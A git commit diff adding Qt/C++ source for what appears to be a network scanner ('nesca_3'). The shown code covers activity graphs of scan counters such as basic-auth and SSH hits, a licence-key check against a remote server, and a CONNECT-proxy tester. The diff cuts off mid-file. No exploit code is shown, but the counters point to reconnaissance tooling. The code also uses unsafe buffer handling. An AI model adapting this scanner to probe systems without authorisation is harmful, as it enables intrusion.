commit 99da36c3f0fb57d091dfe02d3f1665db1b3d1f08 Author: cora32 Date: Sun Sep 7 21:54:46 2014 +0300 3_2266B_784 diff --git a/00000036.wav b/00000036.wav new file mode 100644 index 0000000..8466549 Binary files /dev/null and b/00000036.wav differ diff --git a/ActivityDrawerTh_HorNet.cpp b/ActivityDrawerTh_HorNet.cpp new file mode 100644 index 0000000..36dd7d9 --- /dev/null +++ b/ActivityDrawerTh_HorNet.cpp @@ -0,0 +1,37 @@ +#include "ActivityDrawerTh_HorNet.h" +#include "STh.h" + +void ActivityDrawerTh_HorNet::doEmitDrawActivityLine(QString data) +{ + emit adtHN->sDrawActivityLine(data); +}; +void ActivityDrawerTh_HorNet::doEmitDrawGrid() +{ + emit adtHN->sDrawGrid(); +}; + +void makeActLine(int val) +{ + if(actLst.size() < 50) actLst.push_back(val); + else + { + actLst.pop_front(); + actLst.push_back(val); + }; +}; +void ActivityDrawerTh_HorNet::run() +{ + adtHN->doEmitDrawGrid(); + int maxAct = Activity + 1; + int nm = 0; + while(true) + { + if(maxAct < Activity) maxAct = Activity; + if(maxAct > 1000) nm = maxAct-=1000; + else if(maxAct > 10) nm = maxAct-=10; + makeActLine(((float)Activity/(nm != 0 ? nm : 1)) * 10); + adtHN->doEmitDrawActivityLine(QString::number(Activity) + "b"); + Activity = 0; + msleep(130); + }; +}; \ No newline at end of file diff --git a/ActivityDrawerTh_HorNet.h b/ActivityDrawerTh_HorNet.h new file mode 100644 index 0000000..53ccc43 --- /dev/null +++ b/ActivityDrawerTh_HorNet.h @@ -0,0 +1,21 @@ +#ifndef ACTIVITYDRAWERTH_HORNET_H +#define ACTIVITYDRAWERTH_HORNET_H + +#pragma once +#include "nesca_3.h" + +class ActivityDrawerTh_HorNet : public QThread +{ + Q_OBJECT + +public: signals: void sDrawActivityLine(QString); +public: signals: void sDrawGrid(); + +public: + static void doEmitDrawActivityLine(QString data); + static void doEmitDrawGrid(); +protected: + void run(); +}; +extern ActivityDrawerTh_HorNet *adtHN; +#endif // ACTIVITYDRAWERTH_HORNET_H diff --git a/CheckKey_Th.cpp b/CheckKey_Th.cpp new file mode 100644 index 0000000..317bfda --- /dev/null +++ b/CheckKey_Th.cpp @@ -0,0 +1,241 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + closesocket(sock); + return -1; +#pragma endregion + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + closesocket(sock); + return -1; +#pragma endregion + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + closesocket(sock); + return -1; +#pragma endregion + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + closesocket(sock); + return -1; +#pragma endregion + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + #pragma region QTGUI_Area + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + #pragma endregion + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + closesocket(sock); + return -1; + #pragma endregion + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + closesocket(sock); + return -1; + #pragma endregion + }; + } else strcpy(ndbScript, t2); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + closesocket(sock); + return -1; +#pragma endregion + }; + + ZeroMemory(msg, sizeof(msg)); + +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + closesocket(sock); +#pragma endregion + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + closesocket(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + closesocket(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion + closesocket(sock); + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion + closesocket(sock); + return -1; + } + else + { +#pragma region QTGUI_Area + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ")"); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +#pragma endregion + closesocket(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + closesocket(sock); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + closesocket(sock); + return -1; +#pragma endregion + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.h b/CheckKey_Th.h new file mode 100644 index 0000000..7c31e8f --- /dev/null +++ b/CheckKey_Th.h @@ -0,0 +1,17 @@ +#ifndef CHECKKEY_TH_H +#define CHECKKEY_TH_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" +extern int emitIfOK; +class CheckKey_Th : public QThread +{ + Q_OBJECT + +protected: + void run(); +}; + +extern CheckKey_Th *chKTh; +#endif // CHECKKEY_TH_H diff --git a/CheckProxy_Th.cpp b/CheckProxy_Th.cpp new file mode 100644 index 0000000..4b86a08 --- /dev/null +++ b/CheckProxy_Th.cpp @@ -0,0 +1,155 @@ +#include "CheckProxy_Th.h" + +void CheckProxy_Th::doEmitChangeRedIRCData(QString str) +{ + emit chPTh->changeRedIRCData(str); +}; +void CheckProxy_Th::doEmitChangeGreenIRCData(QString str) +{ + emit chPTh->changeGreenIRCData(str); +}; +void CheckProxy_Th::doEmitChangeYellowIRCData(QString str) +{ + emit chPTh->changeYellowIRCData(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str) +{ + emit chPTh->changeRawIRCDataInc(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str) +{ + emit chPTh->changeRawIRCDataOut(str); +}; + +void CheckProxyLogic() +{ + destroychPThFlag = false; + QString str1 = ui->ircProxyPort->text(); + QString str2 = ui->ircProxy->text(); + strcpy(ircProxy, str2.toUtf8().data()); + strcpy(ircProxyPort, str1.toUtf8().data()); + + int err, yes = 1; + SOCKET pSock; + char precvBuff[2048] = {0}; + sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(atoi(ircProxyPort)); + + HOSTENT *host; + +#if defined(WIN32) + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); + else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); + else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + setsockopt(pSock, SOL_SOCKET, SO_REUSEADDR, (char*)&yes, sizeof(int)); + + if(pSock == INVALID_SOCKET) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); +#pragma endregion + } + else + { + if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); +#pragma endregion + send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); + + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion + if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK") + || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") + ) + && (strlen(precvBuff) < 150) + && strstr(precvBuff, "404 File Not Found") == NULL + && + ( + strstr(precvBuff, "Invalid Request") == NULL + || strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL + || strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL + ) + ) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); +#pragma endregion + send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); + ZeroMemory(precvBuff, sizeof(precvBuff)); + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion + if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL + && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL + && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL + && strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL + && strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL + && strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL + && strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL + && strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL + && strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL + && strstr(precvBuff, "gateway timeout") == NULL + ) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion + proxyEnabledFlag = 1; + + closesocket(pSock); + break; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("[Fail] " + QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion + proxyEnabledFlag = 0; + + closesocket(pSock); + break; + }; + }; + break; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("[Fail] " + QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion + proxyEnabledFlag = 0; + + closesocket(pSock); + break; + }; + }; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("[Fail] Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion + proxyEnabledFlag = 0; + }; + }; +}; + +void CheckProxy_Th::run() +{ + CheckProxyLogic(); +}; diff --git a/CheckProxy_Th.h b/CheckProxy_Th.h new file mode 100644 index 0000000..d7dabd0 --- /dev/null +++ b/CheckProxy_Th.h @@ -0,0 +1,28 @@ +#ifndef CHECKPROXY_TH_H +#define CHECKPROXY_TH_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class CheckProxy_Th : public QThread +{ + Q_OBJECT + +public: signals: void changeRedIRCData(QString); +public: signals: void changeGreenIRCData(QString); +public: signals: void changeYellowIRCData(QString); +public: signals: void changeRawIRCDataInc(QString); +public: signals: void changeRawIRCDataOut(QString); + +public: + void doEmitChangeRedIRCData(QString str); + void doEmitChangeGreenIRCData(QString str); + void doEmitChangeYellowIRCData(QString str); + void doEmitChangeRawIRCDataOut(QString str); + void doEmitChangeRawIRCDataInc(QString str); +protected: + void run(); +}; +extern CheckProxy_Th *chPTh; +#endif // CHECKPROXY_TH_H diff --git a/DrawerTh_GridQoSScanner.cpp b/DrawerTh_GridQoSScanner.cpp new file mode 100644 index 0000000..1b813fa --- /dev/null +++ b/DrawerTh_GridQoSScanner.cpp @@ -0,0 +1,23 @@ +#include "DrawerTh_GridQoSScanner.h" +#include "STh.h" + +void DrawerTh_GridQoSScanner::doEmitAddLine() +{ + emit dtGridQoS->sAddLine(); +}; + +void DrawerTh_GridQoSScanner::run() +{ + while(QoSScanFlag) + { + if(stt->isRunning() == true) + { + if(widgetIsHidden == false && tray->isVisible() == false) + { + ++QoSStep; + emit dtGridQoS->doEmitAddLine(); + }; + }; + msleep(2000); + }; +}; \ No newline at end of file diff --git a/DrawerTh_GridQoSScanner.h b/DrawerTh_GridQoSScanner.h new file mode 100644 index 0000000..e544a0a --- /dev/null +++ b/DrawerTh_GridQoSScanner.h @@ -0,0 +1,23 @@ +#ifndef DRAWERTH_GRIDQOSSCANNER_H +#define DRAWERTH_GRIDQOSSCANNER_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class DrawerTh_GridQoSScanner : public QThread +{ + Q_OBJECT + +public: +public: signals: void sAddLine(); + +public: + void doEmitAddLine(); + +protected: + void run(); +}; + +extern DrawerTh_GridQoSScanner *dtGridQoS; +#endif // DRAWERTH_GRIDQOSSCANNER_H diff --git a/DrawerTh_HorNet.cpp b/DrawerTh_HorNet.cpp new file mode 100644 index 0000000..1e92a28 --- /dev/null +++ b/DrawerTh_HorNet.cpp @@ -0,0 +1,42 @@ +#include "DrawerTh_HorNet.h" + +void DrawerTh_HorNet::run() +{ + qsrand (QDateTime::currentMSecsSinceEpoch()); + int factor = 0; + + int gWidth = ui->graphicLog->width(); + int gHeight = ui->graphicLog->height(); + + dtHN->doEmitionAddDelimLines(); + + while(ME2ScanFlag) + { + if(widgetIsHidden == false && tray->isVisible() == false) + { + ++factor > 9 ? factor = 0 : NULL; + dtHN->doEmitionDrawGrid(); + + for(int i = 0; i < gHeight; i += 10) + { + QApplication::processEvents(); + dtHN->doEmitionAddLine(0, i + factor, gWidth, i + factor); + QApplication::processEvents(); + }; + }; + msleep(200); + }; +}; + +void DrawerTh_HorNet::doEmitionDrawGrid() +{ + emit dtHN->sDrawGrid(); +}; +void DrawerTh_HorNet::doEmitionAddLine(int x1, int y1, int x2, int y2) +{ + emit dtHN->sAddLine(x1, y1, x2, y2); +}; +void DrawerTh_HorNet::doEmitionAddDelimLines() +{ + emit dtHN->sAddDelimLines(); +}; \ No newline at end of file diff --git a/DrawerTh_HorNet.h b/DrawerTh_HorNet.h new file mode 100644 index 0000000..e47d4bd --- /dev/null +++ b/DrawerTh_HorNet.h @@ -0,0 +1,26 @@ +#ifndef DRAWERTH_HORNET_H +#define DRAWERTH_HORNET_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class DrawerTh_HorNet : public QThread +{ + Q_OBJECT + +public: + static void doEmitionDrawGrid(); + static void doEmitionAddLine(int x1, int y1, int x2, int y2); + static void doEmitionAddDelimLines(); + +public: signals: void sAddDelimLines(); +public: signals: void sAddLine(int, int, int, int); +public: signals: void sDrawGrid(); + +protected: + void run(); +}; + +extern DrawerTh_HorNet *dtHN; +#endif // DRAWERTH_HORNET_H diff --git a/DrawerTh_ME2Scanner.cpp b/DrawerTh_ME2Scanner.cpp new file mode 100644 index 0000000..34accd3 --- /dev/null +++ b/DrawerTh_ME2Scanner.cpp @@ -0,0 +1,148 @@ +#include "DrawerTh_ME2Scanner.h" +#include "STh.h" + +void DrawerTh_ME2Scanner::doEmitDrawTextPlacers() +{ + emit dtME2->sDrawTextPlacers(); +}; + +void DrawerTh_ME2Scanner::doEmitionAddPolyLine() +{ + emit dtME2->sAddPolyLine(); +}; +void MakePolygonLine(int gWidth) +{ + vect.clear(); + int x = 0; + int tx = 0; + int xtx = 0; + QPointF qp(0, 20); + vect.append(qp); + int fact1 = 0, + fact2 = 0, + fact3 = 0, + fact4 = 0, + fact5 = 0, + fact6 = 0, + fact7 = 0; + + bool state = stt->isRunning(); + for(int i = 1; i < 130; ++i) + { + x = qrand() % 4 + 2 + i; + xtx = x + tx; + if(xtx > 1 && xtx < 31) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - AnomC1*2 - fact1 : 20); + if(AnomC1 > 0) + { + if(xtx < 16 ) fact1+=2; + else fact1-=2; + }; + } + + if(xtx > 34 && xtx < 72) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - WF*2 - fact2 : 20); + + if(WF > 0) + { + if(xtx < 52 ) fact2+=2; + else fact2-=2; + }; + } + + if(xtx > 74 && xtx < 112) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - BA*2 - fact3 : 20); + + if(BA > 0) + { + if(xtx < 92 ) fact3+=2; + else fact3-=2; + }; + } + + if(xtx > 114 && xtx < 152) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Susp*2 - fact4 : 20); + + if(Susp > 0) + { + if(xtx < 132 ) fact4+=2; + else fact4-=2; + }; + } + + if(xtx > 154 && xtx < 192) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Overl*2 - fact5 : 20); + + if(Overl > 0) + { + if(xtx < 172 ) fact5+=2; + else fact5-=2; + }; + } + + if(xtx > 194 && xtx < 232) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Lowl*2 - fact6 : 20); + + if(Lowl > 0) + { + if(xtx < 212 ) fact6+=2; + else fact6-=2; + }; + } + + if(xtx > 234 && xtx < 269) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Alive*2 - fact7 : 20); + + if(Alive > 0) + { + if(xtx < 252 ) fact7+=2; + else fact7-=2; + }; + }; + + vect.append(qp); + tx = x; + }; + AnomC1 = 0; + WF = 0; + BA = 0; + Filt = 0; + Overl = 0; + Lowl = 0; + Alive = 0; + Susp = 0; + vect.append(QPointF(gWidth, 20)); +}; +void DrawerTh_ME2Scanner::run() +{ + int gWidth = ui->graphicLog->width(); + dtME2->doEmitDrawTextPlacers(); + while(ME2ScanFlag) + { + if(widgetIsHidden == false && tray->isVisible() == false) + { + MakePolygonLine(gWidth); + dtME2->doEmitionAddPolyLine(); + } + else + { + msleep(1000); + AnomC1 = 0; + WF = 0; + BA = 0; + Filt = 0; + Overl = 0; + Lowl = 0; + Alive = 0; + Susp = 0; + }; + msleep(150); + }; +}; \ No newline at end of file diff --git a/DrawerTh_ME2Scanner.h b/DrawerTh_ME2Scanner.h new file mode 100644 index 0000000..fe1f0cd --- /dev/null +++ b/DrawerTh_ME2Scanner.h @@ -0,0 +1,23 @@ +#ifndef DRAWERTH_ME2SCANNER_H +#define DRAWERTH_ME2SCANNER_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class DrawerTh_ME2Scanner : public QThread +{ + Q_OBJECT + +public: + static void doEmitionAddPolyLine(); + static void doEmitDrawTextPlacers(); + +public: signals: void sAddPolyLine(); +public: signals: void sDrawTextPlacers(); + +protected: + void run(); +}; +extern DrawerTh_ME2Scanner *dtME2; +#endif // DRAWERTH_ME2SCANNER_H diff --git a/DrawerTh_QoSScanner.cpp b/DrawerTh_QoSScanner.cpp new file mode 100644 index 0000000..fb8a96c --- /dev/null +++ b/DrawerTh_QoSScanner.cpp @@ -0,0 +1,61 @@ +#pragma once +#include "DrawerTh_QoSScanner.h" +#include "STh.h" + +void DrawerTh_QoSScanner::run() +{ + while(QoSScanFlag) + { + tMax = 0; + + if(stt->isRunning() == true && widgetIsHidden == false && tray->isVisible() == false && QOSWait == false) + { + lstOfLabels.clear(); + lstOfLabels.append(Alive); + lstOfLabels.append(AnomC1); + lstOfLabels.append(WF); + lstOfLabels.append(Susp); + lstOfLabels.append(Lowl); + lstOfLabels.append((int)BA); + lstOfLabels.append(Overl); + lstOfLabels.append(ssh); + + QList lstOfLabelsCopy = lstOfLabels; + qSort(lstOfLabelsCopy.begin(), lstOfLabelsCopy.end(), qGreater()); + int curVal = lstOfLabelsCopy[0]; + if(curVal > MaxDataVal) MaxDataVal = curVal; + if(curVal > tMax) tMax = curVal; + + dtQoS->doEmitionAddLine(); + } + else + { + msleep(500); + AnomC1 = 0; + WF = 0; + BA = 0; + Filt = 0; + Overl = 0; + Lowl = 0; + Alive = 0; + Susp = 0; + ssh = 0; + }; + + AnomC1 = 0; + WF = 0; + BA = 0; + Filt = 0; + Overl = 0; + Lowl = 0; + Alive = 0; + Susp = 0; + ssh = 0; + msleep(2000); + }; +}; + +void DrawerTh_QoSScanner::doEmitionAddLine() +{ + emit dtQoS->sAddLine(); +}; \ No newline at end of file diff --git a/DrawerTh_QoSScanner.h b/DrawerTh_QoSScanner.h new file mode 100644 index 0000000..27be0e2 --- /dev/null +++ b/DrawerTh_QoSScanner.h @@ -0,0 +1,22 @@ +#ifndef DRAWERTH_QOSSCANNER_H +#define DRAWERTH_QOSSCANNER_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class DrawerTh_QoSScanner : public QThread +{ + Q_OBJECT + +public: + static void doEmitionAddLine(); + +public: signals: void sAddLine(); + +protected: + void run(); +}; + +extern DrawerTh_QoSScanner *dtQoS; +#endif // DRAWERTH_QOSSCANNER_H diff --git a/DrawerTh_VoiceScanner.cpp b/DrawerTh_VoiceScanner.cpp new file mode 100644 index 0000000..b57869f --- /dev/null +++ b/DrawerTh_VoiceScanner.cpp @@ -0,0 +1,134 @@ +#include "DrawerTh_VoiceScanner.h" + +void DrawerTh_VoiceScanner::doEmitAddLine() +{ + emit vsTh->sAddLine(); +}; +void DrawerTh_VoiceScanner::doEmitDrawGrid(int factor) +{ + emit vsTh->sDrawGrid(factor); +}; +void DrawerTh_VoiceScanner::doEmitDrawTextPlacers() +{ + emit vsTh->sDrawTextPlacers(); +}; + +void makeVoiceLine(int Al, int An, int Bd, int Sp, int Lo, int var, int Ovl, int WF, int SSH) +{ + if(vAlivLst.size() < 140) + { + if(Al > 0) vAlivLst.push_back((Al + 1)*10); + } + else + { + vAlivLst.pop_front(); + if(Al > 0) vAlivLst.push_back((Al + 1)*10); + }; + + if(vAnomLst.size() < 140) + { + if(An > 0) vAnomLst.push_back((An + 1)*10); + } + else + { + vAnomLst.pop_front(); + if(An > 0) vAnomLst.push_back((An + 1)*10); + }; + + if(vWFLst.size() < 140) + { + if(Bd > 0) vWFLst.push_back((Bd + 1)*10); + } + else + { + vWFLst.pop_front(); + if(Bd > 0) vWFLst.push_back((Bd + 1)*10); + }; + + if(vSuspLst.size() < 140) + { + if(Sp > 0) vSuspLst.push_back((Sp + 1)*10); + } + else + { + vSuspLst.pop_front(); + if(Sp > 0) vSuspLst.push_back((Sp + 1)*10); + }; + + if(vLowlLst.size() < 140) + { + if(Lo > 0) vLowlLst.push_back((Lo + 1)*10); + } + else + { + vLowlLst.pop_front(); + if(Lo > 0) vLowlLst.push_back((Lo + 1)*10); + }; + + if(vLowlLst.size() < 140) + { + if(var > 0) vBALst.push_back((var + 1)*10); + } + else + { + vBALst.pop_front(); + if(var > 0) vBALst.push_back((var + 1)*10); + }; + + if(vOvrlLst.size() < 140) + { + if(Ovl > 0) vOvrlLst.push_back((Ovl + 1)*10); + } + else + { + vOvrlLst.pop_front(); + if(Ovl > 0) vOvrlLst.push_back((Ovl + 1)*10); + }; + + if(vSSHLst.size() < 140) + { + if(SSH > 0) vSSHLst.push_back((SSH + 1)*10); + } + else + { + vSSHLst.pop_front(); + if(SSH > 0) vSSHLst.push_back((SSH + 1)*10); + }; +}; +void DrawerTh_VoiceScanner::run() +{ + vsTh->doEmitDrawGrid(150); + vsTh->doEmitDrawTextPlacers(); + while(VoiceScanFlag) + { + if(widgetIsHidden == false && tray->isVisible() == false) + { + makeVoiceLine(Alive, AnomC1, WF, Susp, Lowl, BA, Overl, WF, ssh); + Alive = 0; + AnomC1 = 0; + WF = 0; + Filt = 0; + Lowl = 0; + BA = 0; + Overl = 0; + Susp = 0; + ssh = 0; + + vsTh->doEmitAddLine(); + msleep(150); + } + else + { + msleep(500); + Alive = 0; + AnomC1 = 0; + WF = 0; + Filt = 0; + Lowl = 0; + BA = 0; + Overl = 0; + Susp = 0; + ssh = 0; + }; + }; +}; \ No newline at end of file diff --git a/DrawerTh_VoiceScanner.h b/DrawerTh_VoiceScanner.h new file mode 100644 index 0000000..3da5997 --- /dev/null +++ b/DrawerTh_VoiceScanner.h @@ -0,0 +1,24 @@ +#ifndef DRAWERTH_VOICESCANNER_H +#define DRAWERTH_VOICESCANNER_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class DrawerTh_VoiceScanner : public QThread +{ + Q_OBJECT + +public: +public: signals: void sAddLine(); +public: signals: void sDrawGrid(int factor); +public: signals: void sDrawTextPlacers(); +public: + void doEmitAddLine(); + void doEmitDrawGrid(int factor); + void doEmitDrawTextPlacers(); +protected: + void run(); +}; +extern DrawerTh_VoiceScanner *vsTh; +#endif // DRAWERTH_VOICESCANNER_H diff --git a/Eurostile.ttf b/Eurostile.ttf new file mode 100644 index 0000000..f10707a Binary files /dev/null and b/Eurostile.ttf differ diff --git a/IRCPinger_Th.cpp b/IRCPinger_Th.cpp new file mode 100644 index 0000000..18f9b86 --- /dev/null +++ b/IRCPinger_Th.cpp @@ -0,0 +1,30 @@ +#pragma once +#include "IRCPinger_Th.h" + +void IRCPinger_Th::doEmitChangeRedIRCData(QString str) +{ + emit ircPTh->changeRedIRCData(str); +}; +void IRCPinger_Th::doEmitRestartIRC() +{ + emit 